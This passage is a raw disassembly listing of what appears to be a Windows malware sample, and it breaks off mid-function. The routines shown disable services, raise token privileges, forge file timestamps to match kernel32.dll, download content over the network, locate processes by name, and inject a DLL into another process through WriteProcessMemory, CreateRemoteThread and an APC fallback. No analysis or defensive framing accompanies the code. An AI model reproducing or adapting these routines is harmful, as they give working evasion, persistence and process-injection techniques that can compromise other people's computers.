		push	[esp+34h+lpServiceName]	; lpServiceName
		push	eax		; hSCManager
		call	OpenServiceA
		mov	ebx, CloseServiceHandle
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_9AC5C7
		lea	eax, [esp+30h+ServiceStatus]
		push	eax		; lpServiceStatus
		push	1		; dwControl
		push	esi		; hService
		call	ControlService
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_9AC5AE
		push	1388h		; dwMilliseconds
		call	Sleep


loc_9AC5AE:				; CODE XREF: sub_9AC553+4Ej
		push	edi		; lpDisplayName
		push	edi		; lpPassword
		push	edi		; lpServiceStartName
		push	edi		; lpDependencies
		push	edi		; lpdwTagId
		push	edi		; lpLoadOrderGroup
		push	edi		; lpBinaryPathName
		push	0FFFFFFFFh	; dwErrorControl
		push	4		; dwStartType
		push	0FFFFFFFFh	; dwServiceType
		push	esi		; hService
		call	ChangeServiceConfigA
		push	esi		; hSCObject
		or	ebp, eax
		call	ebx ; CloseServiceHandle


loc_9AC5C7:				; CODE XREF: sub_9AC553+3Aj
		push	[esp+30h+hSCObject] ; hSCObject
		call	ebx ; CloseServiceHandle
		pop	esi
		pop	ebx


loc_9AC5CF:				; CODE XREF: sub_9AC553+1Cj
		pop	edi
		mov	eax, ebp
		pop	ebp
		add	esp, 20h
		retn
sub_9AC553	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9AC5D7(LPCSTR	lpName,int)

sub_9AC5D7	proc near		; CODE XREF: sub_9A7170+93p
					; sub_9A798D+4Fp

NewState	= _TOKEN_PRIVILEGES ptr	-14h
hObject		= dword	ptr -4
lpName		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	edi
		lea	eax, [ebp+hObject]
		push	eax		; TokenHandle
		push	28h		; DesiredAccess
		xor	edi, edi
		call	GetCurrentProcess
		push	eax		; ProcessHandle
		call	OpenProcessToken
		test	eax, eax
		jz	short loc_9AC63D
		mov	eax, [ebp+arg_4]
		neg	eax
		sbb	eax, eax
		and	eax, 2
		mov	[ebp+NewState.Privileges.Attributes], eax
		lea	eax, [ebp+NewState.Privileges]
		push	eax		; lpLuid
		push	[ebp+lpName]	; lpName
		mov	[ebp+NewState.PrivilegeCount], 1
		push	edi		; lpSystemName
		call	LookupPrivilegeValueA
		test	eax, eax
		jz	short loc_9AC634
		push	edi		; ReturnLength
		push	edi		; PreviousState
		push	10h		; BufferLength
		lea	eax, [ebp+NewState]
		push	eax		; NewState
		push	edi		; DisableAllPrivileges
		push	[ebp+hObject]	; TokenHandle
		call	AdjustTokenPrivileges
		test	eax, eax
		jz	short loc_9AC634
		inc	edi


loc_9AC634:				; CODE XREF: sub_9AC5D7+44j
					; sub_9AC5D7+5Aj
		push	[ebp+hObject]	; hObject
		call	CloseHandle


loc_9AC63D:				; CODE XREF: sub_9AC5D7+1Ej
		mov	eax, edi
		pop	edi
		leave
		retn
sub_9AC5D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_9AC642	proc near		; CODE XREF: sub_9A752A+31p
					; sub_9A798D+AEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_4]
		xor	esi, esi
		test	edi, edi
		jle	short loc_9AC66A


loc_9AC653:				; CODE XREF: sub_9AC642+26j
		call	rand
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[esi+ebx], dl
		inc	esi
		cmp	esi, edi
		jl	short loc_9AC653


loc_9AC66A:				; CODE XREF: sub_9AC642+Fj
		mov	byte ptr [ebx+edi], 0
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_9AC642	endp


; =============== S U B	R O U T	I N E =======================================



sub_9AC672	proc near		; CODE XREF: sub_9A9318+81p
					; sub_9A9318+BAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_4]
		xor	esi, esi
		test	edi, edi
		jle	short loc_9AC69B


loc_9AC683:				; CODE XREF: sub_9AC672+27j
		call	rand
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	edx, 61h
		mov	[ebx+esi*2], dx
		inc	esi
		cmp	esi, edi
		jl	short loc_9AC683


loc_9AC69B:				; CODE XREF: sub_9AC672+Fj
		and	word ptr [ebx+edi*2], 0
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_9AC672	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9AC6A4(LPCSTR	lpFileName)

sub_9AC6A4	proc near		; CODE XREF: sub_9A752A+FEp
					; sub_9A9318+200p ...

FileName	= byte ptr -11Ch
LastWriteTime	= _FILETIME ptr	-18h
CreationTime	= _FILETIME ptr	-10h
LastAccessTime	= _FILETIME ptr	-8
lpFileName	= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		push	edi
		push	104h		; nSize
		lea	eax, [ebp+FileName]
		push	eax		; lpFilename
		push	offset aKernel32_dll ; "kernel32.dll"
		call	GetModuleHandleA
		push	eax		; hModule
		call	GetModuleFileNameA
		mov	esi, CreateFileA
		xor	ebx, ebx
		push	ebx		; hTemplateFile
		push	ebx		; dwFlagsAndAttributes
		push	3		; dwCreationDisposition
		push	ebx		; lpSecurityAttributes
		push	1		; dwShareMode
		push	80000000h	; dwDesiredAccess
		lea	eax, [ebp+FileName]
		push	eax		; lpFileName
		call	esi ; CreateFileA
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_9AC73C
		lea	eax, [ebp+LastWriteTime]
		push	eax		; lpLastWriteTime
		lea	eax, [ebp+LastAccessTime]
		push	eax		; lpLastAccessTime
		lea	eax, [ebp+CreationTime]
		push	eax		; lpCreationTime
		push	edi		; hFile
		call	GetFileTime
		push	edi		; hObject
		mov	edi, CloseHandle
		call	edi ; CloseHandle
		push	ebx		; hTemplateFile
		push	ebx		; dwFlagsAndAttributes
		push	3		; dwCreationDisposition
		push	ebx		; lpSecurityAttributes
		push	3		; dwShareMode
		push	0C0000000h	; dwDesiredAccess
		push	[ebp+lpFileName] ; lpFileName
		call	esi ; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_9AC73C
		lea	eax, [ebp+LastWriteTime]
		push	eax		; lpLastWriteTime
		lea	eax, [ebp+LastAccessTime]
		push	eax		; lpLastAccessTime
		lea	eax, [ebp+CreationTime]
		push	eax		; lpCreationTime
		push	esi		; hFile
		call	SetFileTime
		push	esi		; hObject
		call	edi ; CloseHandle


loc_9AC73C:				; CODE XREF: sub_9AC6A4+4Cj
					; sub_9AC6A4+80j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_9AC6A4	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_9AC741(SIZE_T	dwBytes)

sub_9AC741	proc near		; CODE XREF: sub_9AA8E9+96p

dwBytes		= dword	ptr  4

		push	[esp+dwBytes]	; dwBytes
		push	9		; dwFlags
		call	GetProcessHeap
		push	eax		; hHeap
		call	HeapAlloc
		retn
sub_9AC741	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_9AC755(LPVOID	lpMem)

sub_9AC755	proc near		; CODE XREF: sub_9AA8E9+271p

lpMem		= dword	ptr  4

		push	[esp+lpMem]	; lpMem
		push	0		; dwFlags
		call	GetProcessHeap
		push	eax		; hHeap
		call	HeapFree
		retn
sub_9AC755	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9AC769(int,LPCSTR lpFileName)

sub_9AC769	proc near		; CODE XREF: sub_9A752A+A4p
					; StartAddress+B4p ...

var_C		= dword	ptr -0Ch
hObject		= dword	ptr -8
NumberOfBytesRead= dword ptr -4
arg_0		= dword	ptr  8
lpFileName	= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		xor	esi, esi
		push	esi		; hTemplateFile
		push	esi		; dwFlagsAndAttributes
		push	3		; dwCreationDisposition
		push	esi		; lpSecurityAttributes
		push	3		; dwShareMode
		push	80000000h	; dwDesiredAccess
		push	[ebp+lpFileName] ; lpFileName
		mov	[ebp+var_C], esi
		call	CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+hObject], eax
		jz	short loc_9AC7EA
		push	ebx
		push	edi
		push	esi		; lpFileSizeHigh
		push	eax		; hFile
		call	GetFileSize
		mov	edi, eax
		push	edi		; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_9AC7DF
		push	esi		; lpOverlapped
		lea	eax, [ebp+NumberOfBytesRead]
		push	eax		; lpNumberOfBytesRead
		push	edi		; nNumberOfBytesToRead
		push	ebx		; lpBuffer
		push	[ebp+hObject]	; hFile
		mov	[ebp+NumberOfBytesRead], esi
		call	ReadFile
		test	eax, eax
		jz	short loc_9AC7D8
		cmp	[ebp+NumberOfBytesRead], edi
		jnz	short loc_9AC7D8
		cmp	[ebp+NumberOfBytesRead], esi
		jz	short loc_9AC7D8
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_C], ebx
		mov	[eax], edi
		jmp	short loc_9AC7DF
; ---------------------------------------------------------------------------


loc_9AC7D8:				; CODE XREF: sub_9AC769+59j
					; sub_9AC769+5Ej ...
		push	ebx		; hMem
		call	GlobalFree


loc_9AC7DF:				; CODE XREF: sub_9AC769+42j
					; sub_9AC769+6Dj
		push	[ebp+hObject]	; hObject
		call	CloseHandle
		pop	edi
		pop	ebx


loc_9AC7EA:				; CODE XREF: sub_9AC769+27j
		mov	eax, [ebp+var_C]
		pop	esi
		leave
		retn
sub_9AC769	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9AC7F0(LPCVOID lpBuffer,DWORD	nNumberOfBytesToWrite,LPCSTR lpFileName)

sub_9AC7F0	proc near		; CODE XREF: sub_9A752A+C6p
					; sub_9ABA9B+B6p ...

NumberOfBytesWritten= dword ptr	-8
var_4		= dword	ptr -4
lpBuffer	= dword	ptr  8
nNumberOfBytesToWrite= dword ptr  0Ch
lpFileName	= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		push	edi
		xor	esi, esi
		push	esi		; hTemplateFile
		push	esi		; dwFlagsAndAttributes
		push	4		; dwCreationDisposition
		push	esi		; lpSecurityAttributes
		push	1		; dwShareMode
		push	40000000h	; dwDesiredAccess
		push	[ebp+lpFileName] ; lpFileName
		mov	[ebp+var_4], esi
		call	CreateFileA
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_9AC85D
		push	ebx
		mov	ebx, [ebp+nNumberOfBytesToWrite]
		push	esi		; lpOverlapped
		lea	eax, [ebp+NumberOfBytesWritten]
		push	eax		; lpNumberOfBytesWritten
		push	ebx		; nNumberOfBytesToWrite
		push	[ebp+lpBuffer]	; lpBuffer
		mov	[ebp+NumberOfBytesWritten], esi
		push	edi		; hFile
		call	WriteFile
		test	eax, eax
		jz	short loc_9AC83F
		cmp	[ebp+NumberOfBytesWritten], ebx
		jnz	short loc_9AC83F
		mov	[ebp+var_4], 1


loc_9AC83F:				; CODE XREF: sub_9AC7F0+41j
					; sub_9AC7F0+46j
		push	edi		; hObject
		call	CloseHandle
		cmp	[ebp+var_4], esi
		pop	ebx
		push	[ebp+lpFileName] ; lpFileName
		jz	short loc_9AC857
		call	sub_9AC6A4
		pop	ecx
		jmp	short loc_9AC85D
; ---------------------------------------------------------------------------


loc_9AC857:				; CODE XREF: sub_9AC7F0+5Dj
		call	DeleteFileA


loc_9AC85D:				; CODE XREF: sub_9AC7F0+26j
					; sub_9AC7F0+65j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_9AC7F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9AC864(SOCKET	s,u_long len,int)

sub_9AC864	proc near		; CODE XREF: sub_9AF52D+7Bp
					; sub_9AF52D+C4p ...

readfds		= fd_set ptr -210h
exceptfds	= fd_set ptr -10Ch
timeout		= timeval ptr -8
s		= dword	ptr  8
len		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		mov	ecx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ebp+len]
		push	edi
		mov	edi, [ebp+s]
		mov	[ebp+timeout.tv_sec], ecx
		lea	ecx, [ebp+timeout]
		push	ecx		; timeout
		xor	eax, eax
		lea	ecx, [ebp+exceptfds]
		push	ecx		; exceptfds
		push	eax		; writefds
		lea	ecx, [ebp+readfds]
		xor	ebx, ebx
		push	ecx		; readfds
		inc	ebx
		push	eax		; nfds
		mov	[esi], eax
		mov	[ebp+readfds.fd_array],	edi
		mov	[ebp+readfds.fd_count],	ebx
		mov	[ebp+exceptfds.fd_array], edi
		mov	[ebp+exceptfds.fd_count], ebx
		mov	[ebp+timeout.tv_usec], eax
		call	select
		cmp	eax, ebx
		mov	[ebp+len], eax
		jl	short loc_9AC91F
		lea	eax, [ebp+exceptfds]
		push	eax		; fd_set *
		push	edi		; fd
		call	__WSAFDIsSet
		test	eax, eax
		jnz	short loc_9AC91F
		lea	eax, [ebp+len]
		push	eax		; argp
		push	4004667Fh	; cmd
		push	edi		; s
		call	ioctlsocket
		cmp	eax, 0FFFFFFFFh
		jz	short loc_9AC92A
		push	[ebp+len]	; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_9AC91B
		push	0		; flags
		push	[ebp+len]	; len
		push	ebx		; buf
		push	edi		; s
		call	recv
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jnz	short loc_9AC90D
		and	dword ptr [esi], 0


loc_9AC90D:				; CODE XREF: sub_9AC864+A4j
		cmp	dword ptr [esi], 0
		jnz	short loc_9AC91B
		push	ebx		; hMem
		call	GlobalFree
		xor	ebx, ebx


loc_9AC91B:				; CODE XREF: sub_9AC864+90j
					; sub_9AC864+ACj
		mov	eax, ebx
		jmp	short loc_9AC92C
; ---------------------------------------------------------------------------


loc_9AC91F:				; CODE XREF: sub_9AC864+59j
					; sub_9AC864+6Aj
		push	274Ch		; iError
		call	WSASetLastError


loc_9AC92A:				; CODE XREF: sub_9AC864+7Fj
		xor	eax, eax


loc_9AC92C:				; CODE XREF: sub_9AC864+B9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_9AC864	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9AC931(SOCKET	s,int,int,int)

sub_9AC931	proc near		; CODE XREF: sub_9AF52D+63p
					; sub_9AF52D+ADp ...

writefds	= fd_set ptr -210h
exceptfds	= fd_set ptr -10Ch
timeout		= timeval ptr -8
s		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		jle	short loc_9AC9BC
		mov	esi, [ebp+s]
		xor	ebx, ebx
		inc	ebx


loc_9AC94A:				; CODE XREF: sub_9AC931+89j
		mov	eax, [ebp+arg_C]
		lea	ecx, [ebp+timeout]
		push	ecx		; timeout
		lea	ecx, [ebp+exceptfds]
		push	ecx		; exceptfds
		lea	ecx, [ebp+writefds]
		mov	[ebp+timeout.tv_sec], eax
		xor	eax, eax
		push	ecx		; writefds
		push	eax		; readfds
		push	eax		; nfds
		mov	[ebp+writefds.fd_array], esi
		mov	[ebp+writefds.fd_count], ebx
		mov	[ebp+exceptfds.fd_array], esi
		mov	[ebp+exceptfds.fd_count], ebx
		mov	[ebp+timeout.tv_usec], eax
		call	select
		cmp	eax, ebx
		jl	short loc_9AC9C8
		lea	eax, [ebp+exceptfds]
		push	eax		; fd_set *
		push	esi		; fd
		call	__WSAFDIsSet
		test	eax, eax
		jnz	short loc_9AC9C8
		push	eax		; flags
		mov	eax, [ebp+arg_8]
		sub	eax, edi
		push	eax		; len
		mov	eax, [ebp+arg_4]
		add	eax, edi
		push	eax		; buf
		push	esi		; s
		call	send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_9AC9C3
		add	edi, eax
		cmp	edi, [ebp+arg_8]
		jl	short loc_9AC94A


loc_9AC9BC:				; CODE XREF: sub_9AC931+11j
		mov	eax, edi


loc_9AC9BE:				; CODE XREF: sub_9AC931+95j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_9AC9C3:				; CODE XREF: sub_9AC931+82j
					; sub_9AC931+A2j
		or	eax, 0FFFFFFFFh
		jmp	short loc_9AC9BE
; ---------------------------------------------------------------------------


loc_9AC9C8:				; CODE XREF: sub_9AC931+58j
					; sub_9AC931+69j
		push	274Ch		; iError
		call	WSASetLastError
		jmp	short loc_9AC9C3
sub_9AC931	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9AC9D5(SOCKET	fd,int,u_short netshort,int)

sub_9AC9D5	proc near		; CODE XREF: sub_9AF52D+40p

exceptfds	= fd_set ptr -228h
writefds	= fd_set ptr -124h
Dst		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
timeout		= timeval ptr -10h
var_8		= dword	ptr -8
argp		= dword	ptr -4
fd		= dword	ptr  8
arg_4		= dword	ptr  0Ch
netshort	= word ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 228h
		and	[ebp+var_8], 0
		push	ebx
		push	esi
		push	edi
		push	10h		; Size
		xor	esi, esi
		lea	eax, [ebp+Dst]
		push	0		; Val
		inc	esi
		push	eax		; Dst
		mov	[ebp+argp], esi
		call	memset
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		push	dword ptr [ebp+netshort] ; netshort
		mov	[ebp+Dst], 2
		mov	[ebp+var_1C], eax
		call	ntohs
		mov	edi, [ebp+fd]
		mov	ebx, ioctlsocket
		mov	[ebp+var_1E], ax
		lea	eax, [ebp+argp]
		push	eax		; argp
		push	8004667Eh	; cmd
		push	edi		; s
		call	ebx ; ioctlsocket
		push	10h		; namelen
		lea	eax, [ebp+Dst]
		push	eax		; name
		push	edi		; s
		call	connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_9ACA48
		call	WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_9ACAB9


loc_9ACA48:				; CODE XREF: sub_9AC9D5+64j
		mov	eax, [ebp+arg_C]
		lea	ecx, [ebp+timeout]
		push	ecx		; timeout
		lea	ecx, [ebp+exceptfds]
		push	ecx		; exceptfds
		lea	ecx, [ebp+writefds]
		mov	[ebp+timeout.tv_sec], eax
		xor	eax, eax
		push	ecx		; writefds
		push	eax		; readfds
		push	eax		; nfds
		mov	[ebp+writefds.fd_array], edi
		mov	[ebp+writefds.fd_count], esi
		mov	[ebp+exceptfds.fd_array], edi
		mov	[ebp+exceptfds.fd_count], esi
		mov	[ebp+timeout.tv_usec], eax
		call	select
		mov	[ebp+arg_4], eax
		lea	eax, [ebp+var_8]
		push	eax		; argp
		push	8004667Eh	; cmd
		push	edi		; s
		call	ebx ; ioctlsocket
		cmp	[ebp+arg_4], esi
		jl	short loc_9ACAAE
		lea	eax, [ebp+writefds]
		push	eax		; fd_set *
		push	edi		; fd
		call	__WSAFDIsSet
		test	eax, eax
		jz	short loc_9ACAAE
		xor	eax, eax
		jmp	short loc_9ACABC
; ---------------------------------------------------------------------------


loc_9ACAAE:				; CODE XREF: sub_9AC9D5+C2j
					; sub_9AC9D5+D3j
		push	274Ch		; iError
		call	WSASetLastError


loc_9ACAB9:				; CODE XREF: sub_9AC9D5+71j
		or	eax, 0FFFFFFFFh


loc_9ACABC:				; CODE XREF: sub_9AC9D5+D7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_9AC9D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9ACAC1(LPCSTR	lpszUrl,int,int)

sub_9ACAC1	proc near		; CODE XREF: sub_9A8FC6+Fp
					; sub_9AA572+5Ep ...

szAgent		= byte ptr -420h
var_20		= dword	ptr -20h
dwIndex		= dword	ptr -1Ch
hInternet	= dword	ptr -18h
Buffer		= dword	ptr -14h
hFile		= dword	ptr -10h
dwNumberOfBytesRead= dword ptr -0Ch
dwBufferLength	= dword	ptr -8
var_4		= dword	ptr -4
lpszUrl		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+dwBufferLength]
		push	eax		; cbSize
		lea	eax, [ebp+szAgent]
		push	eax		; pszUAOut
		push	0		; dwOption
		mov	[ebp+dwBufferLength], 400h
		call	ObtainUserAgentString
		mov	esi, 10000h
		push	esi		; dwBytes
		push	40h		; uFlags
		mov	ebx, esi
		call	GlobalAlloc
		mov	edi, eax
		xor	eax, eax
		cmp	edi, eax
		jz	loc_9ACC03
		xor	ecx, ecx
		cmp	[ebp+arg_8], eax
		push	eax		; dwFlags
		setnz	cl
		push	eax		; lpszProxyBypass
		push	eax		; lpszProxy
		lea	eax, [ebp+szAgent]
		push	ecx		; dwAccessType
		push	eax		; lpszAgent
		call	InternetOpenA
		test	eax, eax
		mov	[ebp+hInternet], eax
		jz	loc_9ACC03
		xor	eax, eax
		push	eax		; dwContext
		push	84080300h	; dwFlags
		push	eax		; dwHeadersLength
		push	eax		; lpszHeaders
		push	[ebp+lpszUrl]	; lpszUrl
		push	[ebp+hInternet]	; hInternet
		call	InternetOpenUrlA
		test	eax, eax
		mov	[ebp+hFile], eax
		jz	loc_9ACBFA
		and	[ebp+dwIndex], 0
		lea	ecx, [ebp+dwIndex]
		push	ecx		; lpdwIndex
		lea	ecx, [ebp+dwBufferLength]
		push	ecx		; lpdwBufferLength
		lea	ecx, [ebp+Buffer]
		push	ecx		; lpBuffer
		push	20000013h	; dwInfoLevel
		push	eax		; hRequest
		mov	[ebp+Buffer], 1F4h
		mov	[ebp+dwBufferLength], 4
		call	HttpQueryInfoA
		test	eax, eax
		jz	short loc_9ACBF1
		cmp	[ebp+Buffer], 0C8h
		jnz	short loc_9ACBF1
		and	[ebp+dwNumberOfBytesRead], 0
		and	[ebp+var_4], 0
		lea	eax, [ebp+dwNumberOfBytesRead]
		push	eax
		push	esi
		push	edi
		jmp	short loc_9ACBDC
; ---------------------------------------------------------------------------


loc_9ACB94:				; CODE XREF: sub_9ACAC1+126j
		mov	eax, [ebp+dwNumberOfBytesRead]
		test	eax, eax
		jz	short loc_9ACBE9
		add	[ebp+var_4], eax
		cmp	[ebp+var_4], ebx
		jnz	short loc_9ACBCD
		lea	esi, [ebx+ebx]
		push	esi		; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		test	eax, eax
		mov	[ebp+var_20], eax
		jz	short loc_9ACBE9
		push	ebx		; Size
		push	edi		; Src
		push	eax		; Dst
		call	memcpy
		add	esp, 0Ch
		push	edi		; hMem
		call	GlobalFree
		mov	edi, [ebp+var_20]
		mov	ebx, esi


loc_9ACBCD:				; CODE XREF: sub_9ACAC1+E0j
		lea	eax, [ebp+dwNumberOfBytesRead]
		push	eax		; lpdwNumberOfBytesRead
		mov	eax, [ebp+var_4]
		mov	ecx, ebx
		sub	ecx, eax
		push	ecx		; dwNumberOfBytesToRead
		add	eax, edi
		push	eax		; lpBuffer


loc_9ACBDC:				; CODE XREF: sub_9ACAC1+D1j
		push	[ebp+hFile]	; hFile
		call	InternetReadFile
		test	eax, eax
		jnz	short loc_9ACB94


loc_9ACBE9:				; CODE XREF: sub_9ACAC1+D8j
					; sub_9ACAC1+F3j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax


loc_9ACBF1:				; CODE XREF: sub_9ACAC1+B8j
					; sub_9ACAC1+C1j
		push	[ebp+hFile]	; hInternet
		call	InternetCloseHandle


loc_9ACBFA:				; CODE XREF: sub_9ACAC1+86j
		push	[ebp+hInternet]	; hInternet
		call	InternetCloseHandle


loc_9ACC03:				; CODE XREF: sub_9ACAC1+41j
					; sub_9ACAC1+65j
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax], 0
		jnz	short loc_9ACC18
		test	edi, edi
		jz	short loc_9ACC18
		push	edi		; hMem
		call	GlobalFree
		xor	edi, edi


loc_9ACC18:				; CODE XREF: sub_9ACAC1+148j
					; sub_9ACAC1+14Cj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_9ACAC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9ACC1F(char *Str2)

sub_9ACC1F	proc near		; CODE XREF: sub_9A74E1+2Ap
					; sub_9AB59B+8p ...

Str1		= PROCESSENTRY32 ptr -128h
Str2		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 128h
		push	ebx
		push	esi
		xor	ebx, ebx
		push	ebx		; th32ProcessID
		push	2		; dwFlags
		call	CreateToolhelp32Snapshot
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_9ACC99
		push	edi
		push	49h
		pop	ecx
		xor	eax, eax
		mov	[ebp+Str1.dwSize], 128h
		lea	edi, [ebp+Str1.cntUsage]
		rep stosd
		lea	eax, [ebp+Str1]
		push	eax		; lppe
		push	esi		; hSnapshot
		call	Process32First
		pop	edi
		jmp	short loc_9ACC86
; ---------------------------------------------------------------------------


loc_9ACC63:				; CODE XREF: sub_9ACC1F+69j
		push	[ebp+Str2]	; Str2
		lea	eax, [ebp+Str1.szExeFile]
		push	eax		; Str1
		call	_stricmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_9ACC8C
		lea	eax, [ebp+Str1]
		push	eax		; lppe
		push	esi		; hSnapshot
		call	Process32Next


loc_9ACC86:				; CODE XREF: sub_9ACC1F+42j
		test	eax, eax
		jnz	short loc_9ACC63
		jmp	short loc_9ACC92
; ---------------------------------------------------------------------------


loc_9ACC8C:				; CODE XREF: sub_9ACC1F+58j
		mov	ebx, [ebp+Str1.th32ProcessID]


loc_9ACC92:				; CODE XREF: sub_9ACC1F+6Bj
		push	esi		; hObject
		call	CloseHandle


loc_9ACC99:				; CODE XREF: sub_9ACC1F+1Aj
		pop	esi
		mov	eax, ebx
		pop	ebx
		leave
		retn
sub_9ACC1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9ACC9F(DWORD dwProcessId,char	*lpBuffer)

sub_9ACC9F	proc near		; CODE XREF: sub_9A74E1+1Ap
					; sub_9A74E1+36p ...

te		= THREADENTRY32	ptr -3Ch
ThreadId	= dword	ptr -20h
NumberOfBytesWritten= dword ptr	-1Ch
var_18		= dword	ptr -18h
hProcess	= dword	ptr -14h
hObject		= dword	ptr -10h
lpStartAddress	= dword	ptr -0Ch
lpParameter	= dword	ptr -8
var_4		= dword	ptr -4
dwProcessId	= dword	ptr  8
lpBuffer	= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		push	esi
		push	edi
		push	[ebp+lpBuffer]	; Str
		xor	edi, edi
		mov	[ebp+var_4], edi
		call	strlen
		pop	ecx
		push	[ebp+dwProcessId] ; dwProcessId
		mov	esi, eax
		push	edi		; bInheritHandle
		push	2Ah		; dwDesiredAccess
		inc	esi
		call	OpenProcess
		cmp	eax, edi
		mov	[ebp+hProcess],	eax
		jz	loc_9ACE34
		push	40h		; flProtect
		push	3000h		; flAllocationType
		lea	ecx, [esi+20h]
		push	ecx		; dwSize
		push	edi		; lpAddress
		push	eax		; hProcess
		call	VirtualAllocEx
		cmp	eax, edi
		mov	[ebp+lpParameter], eax
		jz	loc_9ACE1A
		mov	edi, GetModuleHandleA
		push	ebx
		push	offset ProcName	; "LoadLibraryA"
		push	offset aKernel32_dll ; "kernel32.dll"
		call	edi ; GetModuleHandleA
		mov	ebx, GetProcAddress
		push	eax		; hModule
		call	ebx ; GetProcAddress
		mov	[ebp+lpStartAddress], eax
		lea	eax, [ebp+NumberOfBytesWritten]
		push	eax		; lpNumberOfBytesWritten
		inc	esi
		push	esi		; nSize
		push	[ebp+lpBuffer]	; lpBuffer
		push	[ebp+lpParameter] ; lpBaseAddress
		push	[ebp+hProcess]	; hProcess
		call	WriteProcessMemory
		test	eax, eax
		jz	loc_9ACE19
		lea	eax, [ebp+ThreadId]
		push	eax		; lpThreadId
		xor	esi, esi
		push	esi		; dwCreationFlags
		push	[ebp+lpParameter] ; lpParameter
		push	[ebp+lpStartAddress] ; lpStartAddress
		push	esi		; dwStackSize
		push	esi		; lpThreadAttributes
		push	[ebp+hProcess]	; hProcess
		call	CreateRemoteThread
		cmp	eax, esi
		jz	short loc_9ACD52
		mov	[ebp+var_4], 1
		push	eax
		jmp	loc_9ACE13
; ---------------------------------------------------------------------------


loc_9ACD52:				; CODE XREF: sub_9ACC9F+A4j
		push	offset aNtqueueapcthre ; "NtQueueApcThread"
		push	offset aNtdll_dll ; "ntdll.dll"
		call	edi ; GetModuleHandleA
		push	eax		; hModule
		call	ebx ; GetProcAddress
		cmp	eax, esi
		mov	[ebp+var_18], eax
		jz	loc_9ACE19
		push	offset aLoadlibraryexa ; "LoadLibraryExA"
